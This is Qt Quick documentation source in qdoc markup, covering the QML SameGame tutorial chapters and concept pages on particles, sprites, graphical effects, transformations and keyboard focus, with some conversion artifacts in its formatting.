You should be familiar with the code so far. We have just created some basic types to get started. Next, we will populate the game canvas with some blocks.

`*/`

`/*!`

`\title QML Advanced Tutorial 2 - Populating the Game Canvas`

`\contentspage QML Advanced Tutorial`

`\previouspage QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks`

`\nextpage QML Advanced Tutorial 3 - Implementing the Game Logic`

`\example tutorials/samegame/samegame2`

`\section2 Generating the blocks in JavaScript`

Now that we've written some types, let's start writing the game.

The first task is to generate the game blocks. Each time the New Game button is clicked, the game canvas is populated with a new, random set of blocks. Since we need to dynamically generate new blocks for each new game, we cannot use `Repeater` to define the blocks. Instead, we will create the blocks in JavaScript.

Here is the JavaScript code for generating the blocks, contained in a new file, `samegame.js`. The code is explained below.

`\snippet tutorials/samegame/samegame2/samegame.js 0`

The `startNewGame()` function deletes the blocks created in the previous game and calculates the number of rows and columns of blocks required to fill the game window for the new game.

Then, it creates an array to store all the game blocks, and calls `createBlock()` to create enough blocks to fill the game window.

The `createBlock()` function creates a block from the `Block.qml` file and moves the new block to its position on the game canvas. This involves several steps:

`\list`

- `Qt.createComponent()` is called to generate a type from `Block.qml`. If the component is ready,

we can call `\c createObject()` to create an instance of the `\c Block` item.

- \li If `\c createObject()` returned null (i.e. if there was an error while loading the object), print the error information.

- \li Place the block in its position on the board and set its width and height. Also, store it in the blocks array for future reference.

- \li Finally, print error information to the console if the component could not be loaded for some reason (for example, if the file is missing).

\endlist

## \section2 Connecting JavaScript components to QML

Now we need to call the JavaScript code in `\c samegame.js` from our QML files.

To do this, we add this line to `\c samegame.qml` which imports the JavaScript file as a `\l{QML Modules}{module}`:

\snippet tutorials/samegame/samegame2/samegame.qml 2

This allows us to refer to any functions within `\c samegame.js` using "SameGame"

as a prefix: for example, `\c SameGame.startNewGame()` or `\c SameGame.createBlock()`.

This means we can now connect the New Game button's `\c onClicked` handler to the `\c startNewGame()` function, like this:

```
\snippet tutorials/samegame/samegame2/samegame.qml 1
```

So, when you click the New Game button, `\c startNewGame()` is called and generates a field of blocks, like this:

```
\image declarative-adv-tutorial2.png
```

Now, we have a screen of blocks, and we can begin to add the game mechanics.

```
*/
```

```
/*!
```

```
\title QML Advanced Tutorial 3 - Implementing the Game Logic
```

```
\contentspage QML Advanced Tutorial
```

```
\previouspage QML Advanced Tutorial 2 - Populating the Game Canvas
```

```
\nextpage QML Advanced Tutorial 4 - Finishing Touches
```

```
\example tutorials/samegame/samegame3
```

```
\section2 Making a playable game
```

Now that we have all the game components, we can add the game logic that

dictates how a player interacts with the blocks and plays the game until it is won or lost.

To do this, we have added the following functions to `\c samegame.js`:

```
\list
\li \c{handleClick(x,y)}
\li \c{floodFill(xIdx,yIdx,type)}
\li \c{shuffleDown()}
\li \c{victoryCheck()}
\li \c{floodMoveCheck(xIdx, yIdx, type)}
\endlist
```

As this is a tutorial about QML, not game design, we will only discuss `\c handleClick()` and `\c victoryCheck()` below since they interface directly with the QML types. Note that although the game logic here is written in JavaScript, it could have been written in C++ and then exposed to QML.

### `\section3 Enabling mouse click interaction`

To make it easier for the JavaScript code to interface with the QML types, we have added an Item called `\c gameCanvas` to `\c samegame.qml`. It replaces the background as the item which contains the blocks. It also accepts mouse input from the user. Here is the item code:

```
\snippet tutorials/samegame/samegame3/samegame.qml 1
```

The `\c gameCanvas` item is the exact size of the board, and has a `\c score` property and a `\l MouseArea` to handle mouse clicks.

The blocks are now created as its children, and its dimensions are used to determine the board size so that

the application scales to the available screen size.

Since its size is bound to a multiple of `\c blockSize`, `\c blockSize` was moved out of `\c samegame.js` and into `\c samegame.qml` as a QML property.

Note that it can still be accessed from the script.

When clicked, the `\l MouseArea` calls `\c{handleClick()}` in `\c samegame.js`, which determines whether the player's click should cause any blocks to be removed, and updates `\c gameCanvas.score` with the current score if necessary. Here is the `\c handleClick()` function:

```
\snippet tutorials/samegame/samegame3/samegame.js 1
```

Note that if `\c score` was a global variable in the `\c{samegame.js}` file you would not be able to bind to it. You can only bind to QML properties.

### \section3 Updating the score

When the player clicks a block and triggers `\c handleClick()`, `\c handleClick()` also calls `\c victoryCheck()` to update the score and to check whether the player has completed the game. Here is the `\c victoryCheck()` code:

```
\snippet tutorials/samegame/samegame3/samegame.js 2
```

This updates the `\c gameCanvas.score` value and displays a "Game Over" dialog if the game is finished.

The Game Over dialog is created using a `\c Dialog` type that is defined in `\c Dialog.qml`. Here is the `\c Dialog.qml` code. Notice how it is designed to be usable imperatively from the script file, via the functions and signals:

\snippet tutorials/samegame/samegame3/Dialog.qml 0

And this is how it is used in the main \c samegame.qml file:

\snippet tutorials/samegame/samegame3/samegame.qml 2

We give the dialog a `\l {Item::z}{z}` value of 100 to ensure it is displayed on top of our other components. The default `\c z` value for an item is 0.

\section3 A dash of color

It's not much fun to play Same Game if all the blocks are the same color, so we've modified the `\c createBlock()` function in `\c samegame.js` to randomly create a different type of block (for either red, green or blue) each time it is called. `\c Block.qml` has also changed so that each block contains a different image depending on its type:

\snippet tutorials/samegame/samegame3/Block.qml 0

\section2 A working game

Now we now have a working game! The blocks can be clicked, the player can score, and the game can end (and then you can start a new one).

Here is a screenshot of what has been accomplished so far:

\image declarative-adv-tutorial3.png

This is what \c samegame.qml looks like now:

\snippet tutorials/samegame/samegame3/samegame.qml 0

The game works, but it's a little boring right now. Where are the smooth animated transitions? Where are the high scores?

If you were a QML expert you could have written these in the first iteration, but in this tutorial they've been saved

until the next chapter - where your application becomes alive!

\*/

/\*!

\title QML Advanced Tutorial 4 - Finishing Touches

\contentspage QML Advanced Tutorial

\previouspage QML Advanced Tutorial 3 - Implementing the Game Logic

\example tutorials/samegame/samegame4

\section2 Adding some flair

Now we're going to do two things to liven up the game: animate the blocks and add a High Score system.

We've also cleaned up the directory structure for our application files. We now have a lot of files, so all the

JavaScript and QML files outside of `\c samegame.qml` have been moved into a new sub-directory named "content".

In anticipation of the new block animations, `\c Block.qml` file is now renamed to `\c BoomBlock.qml`.

### `\section3 Animating block movement`

First we will animate the blocks so that they move in a fluid manner. QML has a number of methods for adding fluid

movement, and in this case we're going to use the `\l Behavior` type to add a `\l SpringAnimation`.

In `\c BoomBlock.qml`, we apply a `\l SpringAnimation` behavior to the `\c x` and `\c y` properties so that the block will follow and animate its movement in a spring-like fashion towards the specified position (whose

values will be set by `\c samegame.js`). Here is the code added to `\c BoomBlock.qml`:

```
\snippet tutorials/samegame/samegame4/content/BoomBlock.qml 1
```

The `\c spring` and `\c damping` values can be changed to modify the spring-like effect of the animation.

The `\c {enabled: spawned}` setting refers to the `\c spawned` value that is set from `\c createBlock()` in `\c samegame.js`.

This ensures the `\l SpringAnimation` on the `\c x` is only enabled after `\c createBlock()` has set the block to the correct position. Otherwise, the blocks will slide out of the corner (0,0) when a game begins, instead of falling

from the top in rows. (Try commenting out `\c {enabled: spawned}` and see for yourself.)

### \section3 Animating block opacity changes

Next, we will add a smooth exit animation. For this, we'll use a \l Behavior type, which allows us to specify

a default animation when a property change occurs. In this case, when the \c opacity of a Block changes, we will

animate the opacity value so that it gradually fades in and out, instead of abruptly changing between fully

visible and invisible. To do this, we'll apply a \l Behavior on the \c opacity property of the \c Image type in \c BoomBlock.qml:

\snippet tutorials/samegame/samegame4/content/BoomBlock.qml 2

Note the \c{opacity: 0} which means the block is transparent when it is first created. We could set the opacity

in \c samegame.js when we create and destroy the blocks,

but instead we'll use \l{Qt Quick States}{states}, since this is useful for the next animation we're going to add.

Initially, we add these States to the root type of \c{BoomBlock.qml}:

\code

```
property bool dying: false
```

```
states: [
```

```
    State{ name: "AliveState"; when: spawned == true && dying == false
```

```
        PropertyChanges { target: img; opacity: 1 }
```

```
    },
```

```
    State{ name: "DeathState"; when: dying == true
```

```
        PropertyChanges { target: img; opacity: 0 }
```

```
}  
]  
  
\endcode
```

Now blocks will automatically fade in, as we already set `\c spawned` to true when we implemented the block animations.

To fade out, we set `\c dying` to true instead of setting opacity to 0 when a block is destroyed (in the `\c floodFill()` function).

### \section3 Adding particle effects

Finally, we'll add a cool-looking particle effect to the blocks when they are destroyed. To do this, we first add a `\I ParticleSystem` in

`\c BoomBlock.qml`, like so:

```
\snippet tutorials/samegame/samegame4/content/BoomBlock.qml 3
```

To fully understand this you should read `\I {Using the Qt Quick Particle System}`, but it's important to note that `\c emitRate` is set

to zero so that particles are not emitted normally.

Also, we extend the `\c dying` State, which creates a burst of particles by calling the `\c burst()` method on the particles type. The code for the states now look

like this:

```
\snippet tutorials/samegame/samegame4/content/BoomBlock.qml 4
```

Now the game is beautifully animated, with subtle (or not-so-subtle) animations added for all of the

player's actions. The end result is shown below, with a different set of images to demonstrate basic theming:

`\image declarative-adv-tutorial4.gif`

The theme change here is produced simply by replacing the block images. This can be done at runtime by changing the `\Image \c source` property, so for a further challenge, you could add a button that toggles between themes with different images.

`\section2 Keeping a High Scores table`

Another feature we might want to add to the game is a method of storing and retrieving high scores.

To do this, we will show a dialog when the game is over to request the player's name and add it to a High Scores table.

This requires a few changes to `\c Dialog.qml`. In addition to a `\c Text` type, it now has a

`\c TextInput` child item for receiving keyboard text input:

`\snippet tutorials/samegame/samegame4/content/Dialog.qml 0`

`\dots 4`

`\snippet tutorials/samegame/samegame4/content/Dialog.qml 2`

`\dots 4`

`\snippet tutorials/samegame/samegame4/content/Dialog.qml 3`

We'll also add a `\c showWithInput()` function. The text input will only be visible if this function is called instead of `\c show()`. When the dialog is closed, it emits a `\c closed()` signal, and other types can retrieve the text entered by the user through an `\c inputText` property:

\snippet tutorials/samegame/samegame4/content/Dialog.qml 0

\snippet tutorials/samegame/samegame4/content/Dialog.qml 1

\dots 4

\snippet tutorials/samegame/samegame4/content/Dialog.qml 3

Now the dialog can be used in \c samegame.qml:

\snippet tutorials/samegame/samegame4/samegame.qml 0

When the dialog emits the \c closed signal, we call the new \c saveHighScore() function in \c samegame.js, which stores the high score locally in an SQL database and also send the score to an online database if possible.

The \c nameInputDialog is activated in the \c victoryCheck() function in \c samegame.js:

\snippet tutorials/samegame/samegame4/content/samegame.js 3

\dots 4

\snippet tutorials/samegame/samegame4/content/samegame.js 4

\section3 Storing high scores offline

Now we need to implement the functionality to actually save the High Scores table.

Here is the \c saveHighScore() function in \c samegame.js:

\snippet tutorials/samegame/samegame4/content/samegame.js 2

First we call `\c sendHighScore()` (explained in the section below) if it is possible to send the high scores to an online database.

Then, we use the `\{QtQuick.LocalStorage\}` Local Storage API to maintain a persistent SQL database unique to this application. We create an offline storage database for the high scores using `\c openDatabaseSync()` and prepare the data and SQL query that we want to use to save it. The offline storage API uses SQL queries for data manipulation and retrieval, and in the `\c db.transaction()` call we use three SQL queries to initialize the database (if necessary), and then add to and retrieve high scores. To use the returned data, we turn it into a string with one line per row returned, and show a dialog containing that string.

This is one way of storing and displaying high scores locally, but certainly not the only way. A more complex alternative would be to create a high score dialog component, and pass it the results for processing and display (instead of reusing the `\c Dialog`). This would allow a more themeable dialog that could better present the high scores. If your QML is the UI for a C++ application, you could also have passed the score to a C++ function to store it locally in a variety of ways, including a simple format without SQL or in another SQL database.

### \section3 Storing high scores online

You've seen how you can store high scores locally, but it is also easy to integrate a web-enabled high score storage into your QML application. The implementation we've done here is very

simple: the high score data is posted to a php script running on a server somewhere, and that server then stores it and

displays it to visitors. You could also request an XML or QML file from that same server, which contains and displays the scores,

but that's beyond the scope of this tutorial. The php script we use here is available in the `\c examples` directory.

If the player entered their name we can send the data to the web service us

If the player enters a name, we send the data to the service using this code in `samegame.js`:

```
\snippet tutorials/samegame/samegame4/content/samegame.js 1
```

The `XMLHttpRequest` in this code is the same as the `XMLHttpRequest()` as you'll find in standard browser JavaScript, and can be used in the same way to dynamically get XML

or QML from the web service to display the high scores. We don't worry about the response in this case - we just post the high

score data to the web server. If it had returned a QML file (or a URL to a QML file) you could instantiate it in much the same

way as you did with the blocks.

An alternate way to access and submit web-based data would be to use QML types designed for this purpose. `XmlListModel`

makes it very easy to fetch and display XML based data such as RSS in a QML application (see the Flickr demo for an example).

`\section2` That's it!

By following this tutorial you've seen how you can write a fully functional application in QML:

`\list`

`\li` Build your application with `Qt Quick QML Types`{QML types}

`\li` Add application logic `JavaScript Expressions in QML Documents`{with JavaScript code}

`\li` Add animations with `Behavior`{Behaviors} and `Qt Quick States`{states}

\li Store persistent application data using, for example, \l QtQuick.LocalStorage or \l XMLHttpRequest  
\endlist

There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the

examples and the \l {Qt Quick}{documentation} to see all the things you can do with QML!

\page qtquick-convenience-topic.html

\title Important Concepts In Qt Quick - Convenience Types

\brief Overview of the convenience types for QML core features

In a highly dynamic user interface, the application developer will often wish to react to events and trigger various response logic. QML has built-in support for these concepts through bindings, signals and signal handlers, and dynamic object instantiation, but Qt Quick expands upon the support provided by the language with various convenience types.

\section1 Dynamic Object Instantiation

QML provides a number of ways to dynamically create and manage QML objects.

Objects can be created dynamically from within imperative JavaScript code

in various ways. See [\{qml-javascript-dynamicobjectcreation.html}](#)

[\{Dynamic QML object creation from JavaScript}](#) for more details.

Qt Quick provides the [\{Loader}](#), [\{Repeater}](#), [\{ListView}](#), [\{GridView}](#) and [\{PathView}](#) types which also support dynamic object management, and provide a declarative API.

Please see the [\{qtquick-performance.html}](#)[\{performance guide}](#) for more information on using dynamic instantiation and lazy initialization to improve application performance.

## [\section1 Dynamic Bindings](#)

[\{Property Binding}](#)[\{Property bindings}](#) are a fundamental feature of QML.

Typically, a property is initialized with its binding. However, the [\{Binding}](#) type and [\{Qt::binding\(\)}](#)[\{Qt.binding\(\)}](#) function allows the client to dynamically bind properties from any object at run-time, and modify the binding target when required (or when it becomes available).

## [\section1 Dynamic Signal Connections](#)

QML supports dynamic signal connections through a signal's [\{connect\(\)}](#) method. The [\{Qt Quick}](#) module provides the convenience [\{Connections}](#) type which allows setting up a signal connection involving an object which isn't part of the static object hierarchy. It also allows the connection to be dynamically

retargeted at runtime, which allows an application to process different signal notifications with different functions depending on the program state.

By declaring a `\I Connections` instance, the client can dynamically cause signals emitted by one object to trigger methods of another object, and can modify the connection target when required (or when it becomes available).

## `\section1 Timer-Based Events`

Another common use-case is to trigger functionality some specified period of time after a particular event occurs. These sort of timer-based triggers are supported in Qt Quick through the `\I Timer` type. Both single-shot and recurring timers are supported.

\qmlmodule QtQuick.Particles 2

\title Qt Quick Particles QML Types

\ingroup qmlmodules

\brief Provides QML types for particle effects

This QML module contains a particle system for Qt Quick. To use these types, import the module with the following line:

```
\code
import QtQuick.Particles 2.0
\endcode
```

For a simple overview of how the system can be used, see [Using the Qt Quick Particle System](#).

For details on the performance characteristics see [Qt Quick Particle System Performance](#).

```
*/
```

```
/*!
```

```
\page qtquick-effects-particles.html
\title Using the Qt Quick Particle System
```

Documentation for all Particle System types can be found on the [QtQuick.Particles module page](#).

Note that to use types from the particles module, you will need to import the types with the following line:

```
\code
import QtQuick.Particles 2.0
\endcode
```

```
\section1 The ParticleSystem
```

This particle system contains four main types of QML types: ParticleSystem, Painters, Emitters and Affectors.

The ParticleSystem type ties all the other types together, and manages the shared timeline. Painters, Emitters

and Affectors must all have the same ParticleSystem to be able to interact with each other.

You may have as many ParticleSystems as you want subject to this constraint, so the logical separation is to have

one ParticleSystem for all the types that you want to interact, or just one if the number of types is small

and they are easily kept under control..

## \section1 Logical Particles

All the particle system types act on "logical particles". Every particle has a logical representation inside the particle system, and this is what the types act upon. Not every logical particle needs to be visualized,

and some logical particles could lead to multiple visual particles being drawn on screen.

## \section1 Particle Groups

Every logical particle is a member of a particle group, and each group is identified by a name. If no other

group has been specified, a logical particle belongs to the group with the name "" (the empty string), which

acts the same as any other group. Groups are used for two purposes, for controlling particles and because they

can have stochastic state transitions.

Groups control particles because you can never access an individual particle with any of the particle system

types. All types act on groups as a whole, and so any particles that need to behave differently from each

other (aside from the usual stochastic parameter variation) will need to be in different groups.

Particles can also change groups dynamically. When this happens the particles trajectory is unaltered, but it

can be acted upon by different ParticlePainters or Affectors. Particles can either have their group changed by

an Affector, or stochastic state transitions can be defined in a ParticleGroup type.

Generally, groups should only be defined in a ParticleGroup if they require stochastic state transitions. Otherwise,

it is sufficient to have the groups be defined simply by the strings used in the particle/particles properties

of the types.

## \section1 Emitters

Emitters emit logical particles into the system. These particles have a trajectory and lifespan, but no visualization.

These particles are emitted from the location of the Emitter.

TrailEmitters are a special type of emitter which emits particles from the location of other logical particles. Any logical

particle of the followed type within the bounds of a TrailEmitter will cause particle emission from its location, as if there

were an Emitter on it with the same properties as the TrailEmitter.

## \section1 ParticlePainters

Painters are the types that visualize logical particles. For each logical particle in the groups assigned to it,

which are within its bounds (or outside, if you do not set the clip property on the type) it will be visualized

in a manner dependent on the type of ParticlePainter. The base type of ParticlePainter does not draw anything.

ImageParticle renders an image at the particle location. CustomParticle allows you to write your own shaders to render

the particles, passing in the logical particle state as vertex data. ItemParticle allows you to visualize logical

particles using arbitrary QML delegates. ModelParticle is similar, but coordinates model data amongst the delegates

in a similar manner to the view classes.

As the ParticlePainter is the QML type visualizing the particles in the scene, it is its Z value which is important

when trying to place particles above or below other types visually.

## \section1 Affectors

Affectors are an optional component of a particle system. They can perform a variety of manipulations to the simulation,

such as altering the trajectory of particles or prematurely ending their life in the simulation. For performance reasons,

it is recommended not to use Affectors in high-volume particle systems.

## \section1 Stochastic Parameters

As particle systems benefit from stochastic control of parameters across a large number of instances, several stochastic

helper types are used by the particle system. If you do not wish to have any stochastic variation in these parameters,

then do not specify any variation in these types.

## `\section2 Directions`

Directions can be specified by angle and magnitude, or by x and y components. While any direction can be specified with

either method, there is a significant difference between varying the x and y components and varying the angle and magnitude.

Varying the x and y components will lead to a rectangular area around the specified point, while varying the angle will lead

to an arc centered on the specified point.

## `\section2 Shapes`

The particle system contains several types which represent shapes. These types do not visualize shapes, and are used

for the purpose of selecting a random point within the shape. If you want a specific point with no randomness, use a 0 width

and 0 height shape (which is the default). Otherwise you can use the shape types to specify an area, so that the

result can use a random point selected from that area.

`*/`

`/*!`

`\page qtquick-particles-performance.html`

`\title Particle System Performance Guide`

The performance of the particle system scales with the number of particles it is maintaining. After prototyping the desired

effect, performance can be improved by lowering the particle count. Conversely, if performance is well within the acceptable

bounds, you can increase the number of particles until you hit that point (should that improve the effect).

Note that particle count is often estimated by the particle system, and in some cases explicitly providing hints as to how

many particles will be needed will improve performance. You can do this by setting `maximumEmitted` on an Emitter, and it is

generally useful for Emitters which do not continuously emit particles.

Like `ShaderEffect`, the performance of the particle system is largely dependent on the graphics hardware it is running on.

The exception to this is `Affectors`. For systems not including `Affectors`, the majority of the performance cost of particles

will be on the GPU. Since the GPU is better at parallelizing large numbers of operations more particles can be drawn at 60FPS

when `Affectors` are not used.

`Affectors`, particularly if modifying the particles in javascript, can be relatively slow as well as increasing the CPU cost

of using particles. Avoid using them in high-volume systems where possible. Some easy cases where `Affectors` can be avoided

are using timed `ParticleGroup` transitions instead of time-triggered `Affectors`, or setting acceleration due to gravity in the

acceleration property of the Emitter instead of with a `Gravity Affector`.

\title Sprite Animations
```

```
\brief Sprite-based animations with flexible transitioning
```

```
\generatelist{related}
```

```
\section1 Sprite Engine
```

The \I {Qt Quick} sprite engine is a stochastic state machine combined with the ability to chop up images containing multiple frames of an animation.

```
\section2 State Machine
```

A primary function of the sprite engine is its internal state machine. This is not the same as the states and transitions in Qt Quick, and is more like a conventional state machine. Sprites can have weighted transitions to other sprites, or back to themselves. When a sprite animation finishes, the sprite engine will choose the next sprite randomly, based on the weighted transitions available for the sprite that just finished.

You can affect the currently playing sprite in two ways. You can arbitrarily force it to immediately start playing any sprite, or you can tell it to gradually transition to a given sprite. If you instruct it to gradually transition, then it will reach the target sprite by going through valid

state transitions using the fewest number of intervening sprites (but ignoring relative weightings).

This allows you to easily insert a transitional animation between two different sprites.

\image spriteenginegraph.png

As an example, consider the above diagram which illustrates the sprites for a hypothetical 2D platform game character. The character starts by displaying the standing state. From this state, barring external input, he will transition to either the waiting animation, the walking animation, or play the standing animation again. Because the weights for those transitions are one, zero and three respectively, he has a one in four chance of playing the waiting animation when the standing animation finishes, and a three in four chance of playing the standing animation again. This allows for a character who has a slightly animated and variable behavior while waiting.

Because there is a zero weight transition to the walking animation, the standing animation will not normally

transition there. But if you set the goal animation to be the walking animation, it would play the walking animation when it finished the standing animation. If it was previously in the waiting animation, it would finish playing that, then play the standing animation, then play the walking animation. It would then continue to

play the walking animation until the goal animation is unset, at which point it would switch to the standing

animation after finishing the walking animation.

If you set the goal state then to the jumping animation, it would finish the walking animation before

playing the jumping animation. Because the jumping animation does not transition to other states, it will still

keep playing the jumping animation until the state is forced to change. In this example, you could set it back to

walking and change to goal animation to walking or to nothing (which would lead it to play the standing animation

after the walking animation). Note that by forcibly setting the animation, you can start playing the animation

immediately.

## \section2 Input Format

The file formats accepted by the sprite engine is the same as the file formats accepted by other QML types,

such as \l Image. In order to animate the image however, the sprite engine requires the image file to contain

all of the frames of the animation. They should be arranged in a contiguous line, which may wrap from the right

edge of the file to a lower row starting from the left edge of the file (and which is placed directly below the

previous row).

\image spritecutting.png

As an example, take the above image. For now just consider the black numbers, and assume the squares are 40x40 pixels.

Normally, the image is read from the top-left corner. If you specified the frame size as 40x40 pixels, and a frame count

of 8, then it would read in the frames as they are numbered. The frame in the top left would be the first frame, the frame

in the top right would be the fifth frame, and then it would wrap to the next row (at pixel location 0,40 in the file) to read

the sixth frame. It would stop reading after the frame marked 8, and if there was any image data in the square below frame four

then it would not be included in the animation.

It is possible to load animations from an arbitrary offset, but they will still follow the same pattern.

Consider now the red numbers. If we specify that the animation begins at pixel location 120,0, with a frame count of 5 and the same frame size as before, then it will load the frames as they are numbered in red.

The first 120x40 of the image will not be used, as it starts reading 40x40 blocks from the location of 120,0.

When it reaches the end of the file at 160,0, it then starts to read the next row from 0,40.

The blue numbers show the frame numbers if you tried to load two frames of that size, starting from 40,40. Note

that it is possible to load multiple sprites out of the one image file. The red, blue and black numbers can all

be loaded as separate animations to the same sprite engine. The following code loads the animations as per the image.

It also specifies that animations are to played at 20 frames per second.

\code

```
Sprite {  
    name: "black"  
    source: "image.png"  
    frameCount: 8  
    frameWidth: 40  
    frameHeight: 40  
    frameRate: 20
```

```
}  
  
Sprite {  
    name: "red"  
    source: "image.png"  
    frameX: 120  
    frameCount: 5  
    frameWidth: 40  
    frameHeight: 40  
    frameRate: 20  
}  
  
Sprite {  
    name: "blue"  
    source: "image.png"  
    frameX: 40  
    frameX: 40  
    frameCount: 2  
    frameWidth: 40  
    frameHeight: 40  
    frameRate: 20  
}  
  
\endcode
```

Frames within one animation must be the same size, however multiple animations within the same file do not. Sprites without a frameCount specified assume that they take the entire file, and you must specify

the frame size. Sprites without a frame size assume that they are square and take the entire file without wrapping,

and you must specify a frame count.

The sprite engine internally copies and cuts up images to fit in an easier to read internal format, which leads

to some graphics memory limitations. Because it requires all the sprites for a single engine to be in the same

texture, attempting to load many different animations can run into texture memory limits on embedded devices. In

these situations, a warning will be output to the console containing the maximum texture size.

There are several software tools to help turn images into sprite sheets, here are some examples:

Photoshop plugin:

[http://www.personal.psu.edu/zez1/blogs/my\\_blog/2011/05/scripts-4-photoshop-file-sequence-to-layers-to-sprite-sheet.html](http://www.personal.psu.edu/zez1/blogs/my_blog/2011/05/scripts-4-photoshop-file-sequence-to-layers-to-sprite-sheet.html)

Gimp plugin:

<http://registry.gimp.org/node/20943>

Cmd-line tool:

<http://www.imagemagick.org/script/montage.php>

## \section2 QML Types Using the Sprite Engine

Sprites for the sprite engine can be defined using the `\ Sprite` type. This type includes the input parameters

as well as the length of the animation and weighted transitions to other animations. It is purely a data class, and

does not render anything.

\I SpriteSequence is a type which uses a sprite engine to draw the sprites defined in it. It is a single and self-contained sprite engine, and does not interact with other sprite engines. \I Sprite types can be shared between

sprite engine using types, but this is not done automatically. So if you have defined a sprite in one \I SpriteSequence

you will need to redefine it (or reference the same \I Sprite type) in the sprites property of another \I SpriteSequence

in order to transition to that animation.

Additionally, \I ImageParticle can use \I Sprite types to define sprites for each particle. This is again a single

sprite engine per type. This works similarly to SpriteSequence, but it also has the parametrized variability provided

by the \I ImageParticle type.

## \section1 AnimatedSprite

For use-cases which do not need to transition between animations, consider the \I AnimatedSprite type.

This type displays sprite animations with the same input format, but only one at a time. It also provides more fine-grained

manual control, as there is no sprite engine managing the timing and transitions behind the scenes.

```

```
\title Important Concepts In Qt Quick - Graphical Effects
```

```
\brief Overview of graphical effects concepts
```

```
\section1 Graphical Effects and Particles
```

Visually appealing user-interfaces are more engaging than lacklustre ones.

That said, the designer must bear in mind that visual effects simply provide a useful way to subtly communicate to the user (for example, which visual item is active, or how focus is being transferred). Over-use of visual effects can actually detract from the user-experience.

```
\section1 Visual Transformation
```

Visual objects can be transformed. For example, they can be scaled or rotated.

These sort of transformations can provide hints about focus or selection, and can provide intuitive hints about what events are occurring in an application.

For information about visual transformations to visual objects, see the page titled `\{qtquick-effects-transformations.html}`

`{Qt Quick Transformation Types}`.

```
\section1 Shader Effects
```

Shader effects allow the full, raw power of a graphics processing unit to be utilized directly via vertex and fragment shaders. Using too many shader effects can result in increased power usage and sometimes slow performance, but if used sparingly and carefully, a shader can allow complex and visually appealing effects to be applied to a visual object (for example, ripples in water).

For information about shader effects, see the [\I {ShaderEffect}](#) reference documentation.

## [\section1 Particles](#)

A particle system allows explosions, fireworks, smoke, fog and wind effects to be simulated and displayed to the user. Qt Quick provides a particle system which allows these sort of complex, 2D simulations to be performed, including support for environmental effects like gravity and turbulence.

Particles are most commonly used to add subtle and visually appealing effects to currently selected items in lists or in activity notifiers, and in games.

For information about particles, see the documentation about the [\{qtquick-effects-particles.html}](#){Qt Quick Particle System}.

## [\section1 Sprites](#)

A sprite is an animated image made up of frames. Sprites are commonly found

in games. Qt Quick provides a visual type to display sprites, as well as a complex, stochastic, frame-transition controller for more complex applications which use sprites extensively (such as games).

For information about sprite animations, see the page titled `\{qtquick-effects-sprites.html\}` `{Sprite Animations}`.

## `\section1` Opacity

Visual objects can be opaque or translucent. For example, an application can make one visual object opaque and other visual objects translucent to focus the users attention on the opaque one. This is controlled using the `\c{opacity}` property of the `Item`.

For more information about opacity, see the `\l {Item}` documentation.

\title Qt Quick Transformation Types

\brief Types for applying transformations to visual types

\generatelist{related}

Transformations are applied to child hierarchies and also will also transform mouse and touch input so coordinates in event handlers behave as expected.

\section1 Item Properties

The \l {Item} contains a number of convenience properties, covering the most common types of transformations.

\list

\li \c {x} and \c {y}; Translates the item.

\li \c {scale}; Applies a uniform scale factor to the item.

\li \c {rotation}; Applies a counterclockwise rotation of the item.

\li \c {transformOrigin}; Used in conjunction with scale and rotation to change the origin of the transformation.

\endlist

\section1 Transform List

In addition to the convenience types, it is possible to define more comprehensive transformations using a list of

\l {Scale}, \l {Rotation},

and \l {Translate} objects to the \c {transform}  
property of the \l {Item}.

\page qtquick-input-focus.html

\title Keyboard Focus in Qt Quick

\brief handling keyboard focus

When a key is pressed or released, a key event is generated and delivered to the focused Qt Quick \I Item. To facilitate the construction of reusable components and to address some of the cases unique to fluid user interfaces, the Qt Quick items add a scope based extension to Qt's traditional keyboard focus model.

\tableofcontents

\section1 Key Handling Overview

When the user presses or releases a key, the following occurs:

\list 1

\li Qt receives the key action and generates a key event.

\li If a \I QQuickWindow is the active window, the key event

is delivered to it.

- The key event is delivered by the scene to the `Item` with `active focus`. If no item has active focus, the key event is ignored.

- If the `QQuickItem` with active focus accepts the key event, propagation stops. Otherwise the event is sent to the item's parent until the event is accepted, or the root item is reached.

If the `Rectangle` type in the following example has active focus and the `A` key is pressed, the event will not be propagated further. Upon pressing the `B` key, the event will propagate to the root item and thus be ignored.

```
\snippet qml/focus/rectangle.qml simple key event
```

```
\snippet qml/focus/rectangle.qml simple key event end
```

- If the root `Item` is reached, the key event is `QEvent::ignore()` and regular Qt key handling continues.

`\endlist`

See also the `Keys` property and `KeyNavigation` property.

## Querying the Active Focus Item

Whether or not an `Item` has active focus can be queried through the `Item::activeFocus` property. For example, here we have a `Text`

type whose text is determined by whether or not it has active focus.

\snippet qml/focus/rectangle.qml active focus

## \section1 Acquiring Focus and Focus Scopes

An `Item` requests focus by setting the `focus` property to `true`.

For very simple cases simply setting the `focus` property is sometimes sufficient. If we run the following example with `qmlscene.html`, we see that the `keyHandler` type has active focus and pressing the `A`, `B`, or `C` keys modifies the text appropriately.

\snippet qml/focus/basicwidget.qml focus true

\image declarative-qmlfocus1.png

However, were the above example to be used as a reusable or imported component, this simple use of the `focus` property is no longer sufficient.

To demonstrate, we create two instances of our previously defined component and set the first one to have focus. The intention is that when the `A`, `B`, or `C` keys are pressed, the first of the two components receives the event and responds accordingly.

The code that imports and creates two MyWidget instances:

```
\snippet qml/focus/widget.qml window
```

The MyWidget code:

```
\snippet qml/focus/MyWidget.qml mywidget
```

We would like to have the first MyWidget object to have the focus by setting its `focus` property to `true`. However, by running the code, we can confirm that the second widget receives the focus.

Looking at both `MyWidget` and `window` code, the problem is evident - there are three types that set the `focus` property set to `true`. The two `MyWidget` sets the `focus` to `true` and the `window` component also sets the focus. Ultimately, only one type can have keyboard focus, and the system has to decide which type receives the focus. When the second `MyWidget` is created, it receives the focus because it is the last type to set its `focus` property to `true`.

This problem is due to visibility. The `MyWidget` component would like to have the focus, but it cannot control the focus when it is imported or reused. Likewise, the `window` component does not have the ability to know if its imported components are requesting the focus.

To solve this problem, the QML introduces a concept known as a `FocusScope`.

For existing Qt users, a focus scope is like an automatic focus proxy.

A focus scope is created by declaring the `FocusScope` type.

In the next example, a `FocusScope` type is added to the component, and the visual result shown.

`\snippet qml/focus/myfocusscopewidget.qml` widget in focusscope

`\image declarative-qmlfocus3.png`

Conceptually `FocusScopes` are quite simple.

`\list`

